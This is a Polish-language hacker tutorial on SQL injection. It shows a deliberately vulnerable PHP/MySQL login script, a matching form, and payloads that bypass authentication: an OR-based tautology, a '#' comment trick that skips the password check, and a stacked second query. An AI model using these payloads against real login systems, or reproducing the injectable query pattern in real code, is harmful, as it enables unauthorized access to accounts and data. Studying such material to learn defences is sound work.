Wykorzystanie błędów w zapytaniach sql


W tym texcie opisze na czym polegają błędy w konstruowaniu zapytań do bazy MySQL.
Jeśli macie jakieś problemy to: michal@elektrobit.com.pl lub GG# 2222545

Zaprzaszam na strone www.deep-under.com ;) Greetz for speTZnut $ Dark Spirit

---/ Przykład błedu /---

Aby pobrać jakieś dane z bazy należy najpierw się z nią połączyć, wybrać baze na ktorej będziemy dokonywać polecenia, utworzyć zapytanie i je wykonać. Nie będe tu omawiał podstaw MySQL sami poszukajcie... zajeło by o za dużo miejsca.

Przykładowe błędnie napisane zapytanie do bazy danych może wyglądać np. tak:

---/ Początek kodu /---

<?php
// Nawiąż połączenie z bazą danych
mysql_connect("localhost", "user", "password")
    or die ("Nie można nawiązać połączenia z bazą.");
mysql_select_db("secretDB")
    or die ("Problem z w wybraniem bazy.");
       
// Utwórz zapytanie
$sql = "SELECT id
        FROM users
        WHERE username='$username' and password='$password'";
// Wykonaj zapytanie i wstaw wyniki do zmiennej $result
$result = mysql_query($sql) or die ("Nie można wykonać zapytania.");
       
// Poberz liczbę wierszy wyniku $result. Powinna być równa 0
// jeżeli użytkownik nie jest prawidłowy, a 1 - jeżeli jest
$num = mysql_numrows($result);

// Pokaż wyniki w zależno¶ci od rezultatu weryfikacji
if ($num > 0)  {
   echo "Jesteś zalogowany"; }
else { echo "Wpisałeś błędne login lub hasło"; }
?>

---/ Koniec kodu /---

Powiedzmy że nazwiemy ten plik sql.php

A teraz formularz html przekazujący username i password do skryptu sql.php
nazwijmy go form.html

--/ Początek kodu /---

<html>
<body>

<!-- początek formularza -->

<form method="get" action="sql.php">
<input type="text" name="username">
<input type="password" name="password">
<input type="submit" value="Logowanie">
</form>

<!-- Koniec formularza -->

</body>
</html>

---/ Koniec kodu /---

Teraz przyjmijmy że w naszej tabeli jest user h4ck3r i ma hasło HackMe
a więc po wpisaniu tych dancyh do formularza w form.html skrypt sql.php
wyśle do bazy dancyh następujące zapytanie:

$sql = "SELECT id
       FROM users
       WHERE username='h4ck3d' and password='HackMe'";

I zostaniemy zalogowani. Ale co gdy nie znamy usera ani hasła??
Pomyślcie jak będzie wyglądało zapytanie do bazy MySQL gdy f naszym
formularzu w polu username wpiszemy:

' OR username!='

a w polu passsword:

' OR password!='

PS. Skąd wiem że tak właśnie nazywają sie te zmienne?? Ano z tąd że otworzyłem
sobie źródło pliku form.html i tam wartości name w tagu <input> oznaczają właśnie
nazwy zmiennych ktore wykorzystuje sql.php ;)

A więc po wpisaniu tych danuch do odpowiednich pol i naciśnięciu przycisku Logowanie
do bazy MySQL skrypt sql.php wysyła takie oto zapytanie:

$sql = "SELECT id
       FROM users
       WHERE username='' OR username!='' and password=''OR password!=''";

A więc w skrucie zwraca nam wyniki w ktorych zmienna username jest pusta lub nie
a zmienna password jest pusta lub nie :->

W efekcie zostaniemy zalogowani!!! ;)

Jest jeszcze jeden sposob. Gdy znamy username a nie znamy hasła.
Wtedy do pola username wpisujemy  h4ck3r' #  
a do password cokolwiek. Czyli teraz zapytnie wygląda tak:

$sql = "SELECT id
       FROM users
       WHERE username='h4ck3r' #' and password='ppp'";

Cóż to oznacza?? Ano to że znak # onacza że wszystko co jest ponim w danej lini jest komentarzem. Czyli jest pomijane przez PHP. W rezultacie zostaniemy zalogowani, ponieważ kazaliśmy bazie pobrać wszystkie rekordy o danej wartości username pomijając password.

Jeszcze jednym poważnym błędem jest wykorzystanie "nieoczekiwanych danych wejściowych"
Na czym to polega. Już daje przykład.

Powiedzmy że mamy takie oto zapytanie do bazy.

SELECT * FROM nazwa_tabeli WHERE dane=$jakies_dane

W zapytaniu tym zostaje wstawiona wartosc dane przekazana przez uzytkownika za pomocą zmiennej $jakies_dane i przekazana do bazy. A teraz atakujacy moze przekazac nastepujacy ciag:

1; SELECT * FROM nazwa_tabeli WHERE nieoczekiwane_dane=jakas_wartosc

po takim zabiegu do bazy zostaje wysłane takie oto zapytanie:

SELECT * FROM nazwa_tabeli WHERE ane=$jakies_dane; SELECT * FROM nazwa_tabeli WHERE nieoczekiwane_dane=jakas_wartosc

Moze to spowodowac wykonanie przez baze dwa osobne zapytania. Najpierw pytania zamierzonego a potem tego dodatkowego.

--EOF--

Jak narazie to tyle jeśli ktoś ma ochote może dopisywać kolejne sposoby.

Jeśli coś nie działa piszcie na mail lub na gg ( podałem na górze textu )

[root@localhost]# whoami
Vengeance
[root@localhost]#

Początek formularza

0x01 graphic
0x01 graphic
0x01 graphic
0x01 graphic

Dół formularza